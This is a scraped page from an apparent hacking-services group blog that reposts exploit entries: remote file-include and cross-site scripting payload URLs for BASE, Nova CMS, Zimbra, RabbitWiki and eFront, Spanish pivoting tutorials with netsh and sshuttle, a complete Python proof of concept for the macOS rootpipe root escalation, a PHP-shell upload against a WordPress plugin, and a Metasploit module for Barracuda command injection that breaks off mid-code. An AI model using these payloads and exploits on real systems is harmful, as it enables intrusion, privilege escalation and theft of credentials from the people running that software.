Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863147395

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/51979/info
        
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
        
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
        
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/base_maintenance.php?BASE_path=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51979/info
         
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
         
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
         
BASE 1.4.5 is vulnerable; other versions may be affected. 

Exploit: http://www.example.com/base/base_payload.php?BASE_path=[EV!L]
HireHackking

Pivoting con Netsh

Netsh es una utilidad de Windows que nos permite hacer Port Forwarding de una forma muy sencilla. Además, la ventaja es que viene por defecto instalado en Windows, aunque la desventaja es que son necesarios privilegios de administrador para poder usarla (al menos de cara al Port Forwarding y el control del firewall).

Índice:

  • Introducción
  • Port Forwarding con netsh
  • Control del Firewall con netsh

Introducción

Los 3 comandos que vamos a usar son los siguientes:

  1. netsh interface portproxy add v4tov4 listenport=<puerto a escuchar> listenaddress=<direccion a escuchar> connectport=<puerto a conectar> connectaddress=<direccion a conectar>
  2. netsh interface portproxy show all
  3. netsh interface portproxy reset

El laboratorio de este post es el siguiente:

  • 3 Equipos
    • Kali
      • IP: 192.168.10.10
    • Windows 7
      • IP: 192.168.10.40 y 192.168.20.40 –> 2 Interfaces de Red
    • Debian –> Servidor Web y SSH – Puerto 22 y 80 activados
      • IP: 192.168.20.20
pivoting con netsh laboratorio 2

Port Forwarding con netsh

Estando en la máquina Windows y teniendo privilegios de administrador, podemos comprobar la tabla de Port Forwarding de netsh con el siguiente comando:

netsh interface portproxy show all

image 8

No nos muestra nada, por lo que está vacía. Así que con el siguiente comando, vamos a hacer el Port Forwarding de los puertos que queramos:

netsh interface portproxy add v4tov4 listenport=<puerto a escuchar> listenaddress=<direccion a escuchar> connectport=<puerto a conectar> connectaddress=<direccion a conectar>

image 9

En el comando se configuran 4 parámetros, cada uno de ellos, sirve para lo siguiente:

  • listenport –> Especificamos el puerto en el que Windows escuchará y que servirá como tunneling para la dirección y puerto que conectemos.
  • listenaddress –> Especificamos la dirección de red en la que escuchará el puerto especificado en listenport. Esto indicará la interfaz en la que se escuchará.
  • connectport –> Especificamos el puerto de la dirección a la que queremos llegar
  • connectaddress –> Especificamos la dirección a la que queremos llegar

Como vemos en la imagen, en principio no aparece nada, ni error ni nada que diga que «ha ocurrido algo». Sin embargo, si ahora ejecutamos el comando anterior para ver la tabla de netsh:

image 10

Podemos ver como se ha establecido lo que le hemos dicho en los comandos de arriba. Nota: como se explica en el parámetro listenaddress, es importante indicar bien la dirección en la que escuchamos, si indicásemos por ejemplo 127.0.0.1 solo se podrá acceder desde el propio Windows. Sin embargo, indicándole 192.168.10.40 (que también es la IP del Windows), el puerto funcionará en la interfaz 192.168.10.0/24, y, por lo tanto, será accesible para los que tengan acceso a esta red. Aunque también podemos ahorrárnoslo, si no le especificamos el parámetro listenaddress, escuchará en todas las interfaces:

image 14

Con esto, Windows ya estaría realizando el Port Forwarding, por lo que vamos a comprobarlo desde nuestro kali:

image 11

Vemos que nos tuneliza perfectamente ambos puertos. Y realmente es tan sencillo como esto. Además, netsh guarda la configuración de los Port Forwarding en el siguiente registro:

HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp

image 15
image 16

Si quisiéramos eliminar/resetear la tabla de netsh (también se eliminan los registros), podríamos hacerlo con el siguiente comando:

netsh interface portproxy reset

image 12
image 13

Y de esta forma eliminaríamos cualquier tunelización que estemos haciendo, además de sus respectivos registros.

Control del Firewall con netsh

Otro aspecto muy útil que tiene netsh, es que nos permite controlar el firewall de Windows, añadiendo reglas que por ejemplo un puerto que solo esté accesible de forma interna, se muestre de hacia fuera. Es decir, si por ejemplo una máquina tuviese el SMB solo accesible de forma interna (esto significa que se esté ejecutando, pero solo de forma interna, si no estuviese ejecutándose no serviría de nada), y nosotros tuviésemos credenciales de administrador para usar con PsExec. Podríamos usar netsh para que el puerto SMB se muestre hacia fuera y así conseguir persistencia con PsExec.

En este aspecto, los comandos para arreglar reglas son los siguientes:

  • Tráfico entrante:

netsh advfirewall firewall add rule name=<nombre de la regla> protocol=TCP dir=in localport=<puerto> action=allow

image 17
  • Tráfico saliente:

netsh advfirewall firewall add rule name=<nombre de la regla> protocol=TCP dir=out localport=<puerto> action=allow

image 18

De esta forma el puerto ya estaría expuesto de forma externa. Hay muchas otras opciones en cuanto a firewall, pero a nivel práctico, si necesitásemos una para pivoting, sería esta, la capacidad de mostrar puertos internos de forma externa.

Netsh como se ha visto, es una herramienta muy cómoda para pivoting gracias a que viene por defecto en Windows. El único requerimiento como ya se ha dicho, es tener privilegios de Administrador.

HireHackking 
source: https://www.securityfocus.com/bid/51979/info
     
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
     
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
     
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include_once    File: base_local_rules.php            Line: 1
Exploit: http://www.example.com/base/base_local_rules.php?BASE_path=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51979/info
       
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
       
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
       
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include    File: base_main.php            Line: 15
Exploit: http://www.example.com/base/base_main.php?BASE_path=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51979/info
      
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
      
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
      
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include_once    File: base_logout.php            Line: 1
Exploit: http://www.example.com/base/base_logout.php?BASE_path=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51979/info
    
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
    
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
    
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include    File: base_graph_main.php            Line: 1
Exploit: http://www.example.com/base/base_graph_main.php?BASE_path=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51979/info
   
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
   
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
   
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include_once    File: base_graph_form.php            Line: 1
Exploit: http://www.example.com/base/base_graph_form.php?BASE_path=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51979/info
  
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
  
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
  
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include    File: base_graph_display.php            Line: 2
Exploit: http://www.example.com/base/base_graph_display.php?BASE_path=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51979/info
 
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
 
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
 
BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include_once    File: base_graph_common.php            Line: 1
Exploit: http://www.example.com/base/base_graph_common.php?BASE_path=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51979/info

BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.

An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

BASE 1.4.5 is vulnerable; other versions may be affected. 

Function: include    File: base_db_setup.php            Line: 1
Exploit: http://www.example.com/base/base_db_setup.php?BASE_path=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51976/info
   
Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
   
Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
   
http://www.example.com/novacms/includes/function/usertpl.php?conf[blockfile]=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51976/info
  
Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
  
http://www.example.com/novacms/includes/function/gets.php?filename=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51976/info
 
Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
 
http://www.example.com/novacms/optimizer/index.php?fileType=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51974/info

Zimbra is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/zimbra/h/calendar?view=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
HireHackking 
source: https://www.securityfocus.com/bid/51976/info

Nova CMS is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. 

http://www.example.com/novacms/administrator/modules/moduleslist.php?id=[EV!L]
HireHackking 
source: https://www.securityfocus.com/bid/51973/info

eFront Community++ is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks are also possible.

eFront Community++ 3.6.10 is vulnerable; other versions may also be affected. 

SQL Injection:

http://www.example.com/communityplusplus/www/administrator.php?ctg=course&edit_course=-1'[SQL INJECTION!]

HTML Injection:

The vulnerabilities can be exploited by remote attacker with low or high required user inter action.
For demonstration or reproduce ...


<td xmlns="http://www.w3.org/1999/xhtml" class="layoutColumn center">
        <div id="messageBlock" class="block">
        
<div class="blockContents messageContents">
         <table class="messageBlock">
             <tbody><tr><td>
<img title="_FAILURE" alt="_FAILURE" class="sprite32 sprite32-warning" src="themes/default/images/others/transparent.gif"/>
</td>
              <td class="failureBlock">.....Invalid login name: "> (403)  <a onclick="eF_js_showDivPopup('Error 
Details', 2, 'error_details')" href="javascript:void(0)">More info</a></td>
              <td><img onclick="window.Effect 
? new Effect.Fade($('messageBlock')) : document.getElementById('messageBlock').style.display = 'none';" title="Close" 
alt="Close" class="sprite32 sprite32-close" src="themes/default/images/others/transparent.gif"/></td></tr>
            
</tbody></table>
        </div>
        </div>  <table class="centerTable">

...or 
<tr class="oddRowColor">
<td>
<img title="Forum" alt="Forum" class="forumIcon sprite32 sprite32-forum" 
src="themes/default/images/others/transparent.gif"/><div>
<a href="/communityplusplus/www/administrator.php?ctg=
forum&forum=6">"><iframe a="" <<="" onload='alert("VL")' src="a">
                                 
<p></p>
                                </div>
                            
</td>
<td>0 Subforums, 0 Topics, 0  Messages       
</td>
       <td><span class = "emptyCategory">Never</span>

</td>
       <td class = "centerAlign">


...or
<div>

<a style="white-space: normal;" class="smallHeader" href="/communityplusplus/www/administrator.php
?ctg=forum&poll=1">"><iframe a="" <<="" onload="alert(document.cookie)" src="a">
                                                  <p><p>"><iframe src=a onload=alert(document....</p></div>

</td>                                         

...or    
<tr class="oddRowColor defaultRowHeight">.....<td colspan="3" class="emptyCategory">No data found</td></tr>
                                            
<tr class="defaultRowHeight"><td colspan="4" class="sortedTableFooter"><div class="sortTablefilter"><span 
id="languagesTable_currentFilter" style="display: none;">"><iframe span="" <<="" onload='alert("VL")' 
src="a"/></span><input type="text" id="0_sortedTable_filter" onkeypress="if (event.which == 13 || event.keyCode == 13) 
{eF_js_filterData(0); return false;}" value=""><iframe src=a onload=alert("VL") <" onclick='if 
(this.value.match("Filter...")) this.value = "";'/></div><span style="vertical-align: middle;">Rows: </span><select 
onchange="numRows = parseInt(this.options[this.selectedIndex].value);eF_js_changeRowsPerPage(0, numRows)"


...or
</tr><tr>

<td class="calendar ">
<a href="administrator.php?ctg=calendar&view_calendar=1327968000"/></td>
<td class="calendar "><a href="administrator.php?ctg=calendar&view_calendar=1327968000"/></td>

<td class="calendar ">
                    <a href="administrator.php?ctg=calendar&view_calendar=1328054400">1</a></td>

<td class="calendar ">
                    <a href="administrator.php?ctg=calendar&view_calendar=1328140800">2</a></td>
<td class="calendar ">
                    <a href="administrator.php?ctg=calendar&view_calendar=1328227200">3</a></td>
<td class="calendar ">
                    <a href="administrator.php?ctg=calendar&view_calendar=1328313600">4</a></td>
<td class="calendar ">
                    <a href="administrator.php?ctg=calendar&view_calendar=1328400000">5</a></td>
</tr>
HireHackking 
source: https://www.securityfocus.com/bid/51971/info

RabbitWiki is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/webmasters/s/RabbitWiki/index.php?title=%22%3E\%3Cscript%3Ealert%28%22rabbit%20says:hello%22%29%3C/script%3E
HireHackking

Pivoting con Sshuttle

Sshuttle es un programa que te permite simular casi una VPN a través de una conexión SSH.

El uso básico de sshuttle es:

sshuttle -r <usuario>@<servidor ssh> <ip de red en la que operará la vpn>/<máscara de red en CIDR>

image 20

De esta forma, nos conectamos por SSH mediante sshuttle.

Si le añadiéramos el argumento -N intentará adivinar la IP de red en la que operará la VPN, por lo que no tendríamos que especificarlo si usamos este argumento.

Con esto, si por ejemplo, nuestra red es la 192.168.0.0/24 y nos conectamos a un servidor SSH (192.168.0.10) que está en la misma red nuestra, pero, este servidor, tiene también acceso a la red 192.168.30.0/24, el comando a usar sería el siguiente:

sshuttle -r <usuario>@192.168.0.10 192.168.30.0/24

Ya que la red en la que queremos que opere la conexión «VPN» es la 192.168.30.0/24.

Sshuttle tiene algunas ventajas y desventajas, al contrario que por ejemplo proxychains, si lanzamos varias VPN una sobre la otra, pasando por diferentes redes, siempre podremos acceder a los recursos de cada una de ellas sin que se tenga en cuenta la red de la última conexión VPN que hemos lanzado. Sin embargo, sshuttle no permite el uso de por ejemplo trazas ICMP o nmap, pero si intentásemos llegar a un servidor web, llegaríamos sin problemas:

image 21

Así que en este aspecto, esta es la desventaja de Sshuttle, la incapacidad de usar nmap, ping, etc., además de que necesitas privilegios de administrador para poder usarlo:

image 24

Hasta ahora, si nos fijamos, podemos ver como hemos iniciado sesión con credenciales en el SSH, pero ¿qué ocurre si solo tenemos acceso mediante clave privada? Sshuttle en principio no acepta iniciar sesión usando clave privada, sin embargo se puede bypasear de la siguiente forma:

sshuttle -r <usuario>@<servidor ssh> --ssh-cmd "ssh -i <archivo clave privada>" <ip de red en la que operará la vpn>/<máscara de red en CIDR>

Ejemplo:

image 19

De esta manera podemos iniciar sesión usando una clave privada.

Si en alguno de los usos de sshuttle nos saliese un error de este estilo:

client: Connected.
client_loop: send disconnect: Broken pipe
client: fatal: server died with error code 255

Podemos solucionarlo con el parámetro -x, el cual nos permite excluir una IP del rango donde la VPN va a operar. Este problema podría ocurrir si el dispositivo al cual nos conectamos, pertenece a la red la cual queremos que la VPN opere. En cualquier caso, si nos ocurre este error haríamos lo siguiente:

sshuttle -r <usuario>@<servidor ssh> <ip de red en la que operará la vpn>/<máscara de red en CIDR> -x <servidor ssh>

Así, excluiríamos el servidor SSH de la VPN por así decirlo.

Además de todo lo visto hasta ahora, sshuttle tiene la opción para que nuestras peticiones DNS también pasen por el proxy, de tal forma que usemos los servidores DNS que la máquina (SSH Server) tenga configurados. El argumento a añadir en la línea de comandos simplemente sería --dns. Lo podemos agregar ya sea al principio o al final.

Por último, otro argumento que tiene sshuttle es él -D, el cual básicamente manda al segundo plano la conexión cuando nos conectamos:

image 22

Y hasta aquí las funcionalidades de sshuttle, al menos las más principales y comunes.

HireHackking 
########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


print "Done!"

del pool
HireHackking 
##################################################################################################
#Exploit Title : Wordpress plugin Windows Desktop and iPhone Photo Uploader arbitrary file upload vulnerbility
#Author        : Manish Kishan Tanwar AKA error1046
#Home Page     : https://wordpress.org/plugins/i-dump-iphone-to-wordpress-photo-uploader/
#Download Link : https://downloads.wordpress.org/plugin/i-dump-iphone-to-wordpress-photo-uploader.1.8.zip
#Date          : 9/04/2015
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi
#Discovered At : Indishell Lab
##################################################################################################

////////////////////////
/// Overview:
////////////////////////

file uploading code(uploader.php) in Windows Desktop and iPhone Photo Uploader plugin doesnt check for file extension before uploading it to server
and hence vulnerable to arbitrary file upload

////////////////
///  POC   ////
///////////////


Uploading PHP shell 
=================================
Just open uploader.php in plugin directory
http://target.com/wp-content/plugins/i-dump-iphone-to-wordpress-photo-uploader/uploader.php
browse your php shell and submit it.
after uploading, you will get your shell in uploads directory at following location

http://target.com/wp-content/uploads/i-dump-uploads/

demo:-
http://127.0.0.1/wordpress/wp-content/plugins/i-dump-iphone-to-wordpress-photo-uploader/uploader.php
and upload your shell


                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, 
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3
HireHackking 
# Exploit Title: Barracuda Firmware <= 5.0.0.012 Post Auth Remote Root exploit
# Exploit Author: xort
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/webfilter
# Version: Firmware <= 5.0.0.012 
# Tested on: Vx and Hardware platforms 
#
# Postauth remote root in Barracuda Firmware <= 5.0.0.012 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root. xort@blacksecurity.org

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Firmware <= 5.0.0.012 reporting Post Auth Remote Root',
					'Description'    => %q{
					This module exploits a remote command execution vulnerability in
				the Barracuda Firmware Version <= 5.0.0.012 by exploiting a
				vulnerability in the web administration interface.
					By sending a specially crafted request it's possible to inject system
				 commands while escalating to root do to relaxed sudo configuration on the local 
				machine.
			},
			'Author'         =>
				[
					'xort', # metasploit module
				],
			'Version'        => '$Revision: 12345 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

		        'Payload'        =>
                                { # note: meterpreter can't run on host do to kernel 2.4 incompatabilities + this is stable 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
				[
					['Linux Universal',
						{
								'Arch' => ARCH_X86,
								'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
					OptString.new('ET', [ false, 'Device password', "" ]),
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

	def do_login(username, password, et)
		vprint_status( "Logging into machine with credentials...\n" )
		
	      # timeout
		timeout = 1550;

		# params
                password_clear = "admin"
		real_user = "";
		login_state = "out"
		enc_key = Rex::Text.rand_text_hex(32)
   		et = "1358817515"
		locale = "en_US"
		user = username
		password = Digest::MD5.hexdigest(username+enc_key) 
		enctype = "MD5"
		password_entry = ""
		
		
		vprint_status( "Starting first routine...\n" )

                data = "real_user=#{real_user}&login_state=#{login_state}&enc_key=#{enc_key}&et=#{et}&locale=#{locale}&user=#{user}&password=#{password}&enctype=#{enctype}&password_entry=#{password_entry}&password_clear=#{password_clear}&Submit=Login"
	
		vprint_status( "#{data}\n" )
		
	        res = send_request_cgi(
      	        {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
                      'cookie'  => "",
		      'data'    => data
               }, timeout)


		vprint_status( "login got code: #{res.code} ... continuing to second request..." )
		File.open("/tmp/output2", 'w+') {|f| f.write(res.body) }

		# get rid of first yank 
		password = res.body.split('\n').grep(/(.*)id=\"password\" value=\"(.*)\"/){$2}[0] #change to match below for more exact result
		et = res.body.split('\n').grep(/(.*)id=\"et\" value=\"([^\"]+)\"/){$2}[0]

		vprint_status( "password got back = #{password} - et got back = #{et}\n" )

		return password, et
	end

	def run_command(username, password, et, cmd)
		vprint_status( "Running Command...\n" )

	 	exploitreq = [
		[ "primary_tab", "BASIC" ],
		[ "secondary_tab","reports" ],
		[ "realm","" ],
		[ "auth_type","Local" ],
		[ "user", username ],
		[ "password", password  ],
		[ "et",et ],
		[ "role","" ],
		[ "locale","en_US" ],
		[ "q","" ],
		[ "UPDATE_new_report_time_frame","custom" ],
		[ "report_start","2013-01-25 01:14" ],
		[ "report_end","2013-01-25 02:14" ],
		[ "type","" ],
		[ "ntlm_server","" ],
		[ "kerb_server","" ],
		[ "local_group","changeme" ],           
		[ "ip_group","20.20.108.0/0.0.0.0" ],  
		[ "ip_address__0","" ],
		[ "ip_address__1","" ],
		[ "ip_address__2","" ],
		[ "ip_address__3","" ],
		[ "netmask__0","" ],
		[ "netmask__1","" ],
		[ "netmask__2","" ],
		[ "netmask__3","" ],
		[ "UPDATE_new_report_pattern_values","" ],
		[ "UPDATE_new_report_pattern_text","" ],
		[ "UPDATE_new_report_filter_destination","domain" ],
		[ "filter_domain","" ],
		[ "UPDATE_new_report_filter_domain","" ],
		[ "UPDATE_new_report_filter_category","" ],
		[ "UPDATE_new_report_exclude_from","" ],
		[ "UPDATE_new_report_exclude_to","" ],
		[ "UPDATE_new_report_exclude_days","" ],
		[ "allow","allow" ],
		[ "block","block" ],
		[ "warn","warn" ],
		[ "monitor","monitor" ],
		[ "UPDATE_new_report_filter_actions","allow,block,warn,monitor" ],
		[ "UPDATE_new_report_filter_count","10" ],
		[ "UPDATE_new_report_chart_type","vbar" ],
		[ "UPDATE_new_report_format","html" ],
		[ "DEFAULT_new_report_group_expand","No" ],
		[ "UPDATE_new_report_expand_user_count","5" ],
		[ "UPDATE_new_report_expand_domain_count","5" ],
		[ "UPDATE_new_report_expand_cat_count","5" ],
		[ "UPDATE_new_report_expand_url_count","5" ],
		[ "UPDATE_new_report_expand_threat_count","5" ],
		[ "report","on" ],
		[ "UPDATE_new_report_name", Rex::Text.rand_text_alphanumeric(10) ],
		[ "UPDATE_new_report_id","" ],
		[ "UPDATE_new_report_enabled","Yes" ],
		[ "secondary_scope","report" ],
		[ "secondary_scope_data","" ],
		[ "UPDATE_new_report_reports","sessions_by_user,infection_activity" ],
		[ "UPDATE_new_report_delivery","external" ],
		[ "UPDATE_new_report_delivery_dest_email","" ],
		[ "UPDATE_new_report_server","new" ],
		[ "UPDATE_new_external_server_type","smb" ],
		[ "UPDATE_new_external_server_alias", Rex::Text.rand_text_alphanumeric(10) ],
		[ "UPDATE_new_external_server","4.4.4.4" ],
		[ "UPDATE_new_external_server_port","445" ],
		[ "UPDATE_new_external_server_username","\"` #{cmd} `\"" ],
		[ "UPDATE_new_external_server_password","asdf" ],
		[ "UPDATE_new_external_server_path","/"+ Rex::Text.rand_text_alphanumeric(15) ],
		[ "UPDATE_new_report_frequency", "once" ],
		[ "UPDATE_new_report_split", "no" ],
		[ "add_report_id","Apply" ],
		[ "remover","" ] 
		]

		
	        data = Rex::MIME::Message.new
		data.bound = "---------------------------" + Rex::Text.rand_text_numeric(30)
	
		exploitreq.each do |xreq|
       	 	    data.add_part(xreq[1], nil, nil, "form-data; name=\"" + xreq[0] + "\"")
		end

        	post_data = data.to_s
	        post_data = post_data.gsub(/\r\n---------------------------/, "---------------------------")		

		datastore['UserAgent'] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"

		vprint_status( "sending..." )
	        res = send_request_cgi({
         	   'method' => 'POST',
	           'uri'    => "/cgi-mod/index.cgi",
       		   'ctype'  => "multipart/form-data; boundary=#{data.bound}",
            	   'data'   => post_data,
		   'headers' => 
			{
				'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
				'Accept-Language' => "en-US,en;q=0.5"
			}
	        })	

		if res.code == 200
			vprint_status( "You can now reuse the login params you were supplied to avoid the lengthy wait at the exploits initial launch.... \n" )
			vprint_status( "password: #{password} et: #{et}\n" )
		end


		vprint_status( "login got code: #{res.code} from report_results.cgi\n" )
		File.open("/tmp/output4", 'w+') {|f| f.write(res.body) }
	end

	def run_script(username, password, et, cmds)
	  	vprint_status( "running script...\n")
	  
	  
	end
	
	def exploit
		# timeout
		timeout = 1550;

		user = "admin"
		
		# params
                real_user = "";
		login_state = "out"
                et = "1358817515" #epoch time
		locale = "en_US"
		user = "admin"
		password = ""
		enctype = "MD5"
		password_entry = ""
		password_clear = "admin"
		
                vprint_status("<- Encoding payload to elf string...")
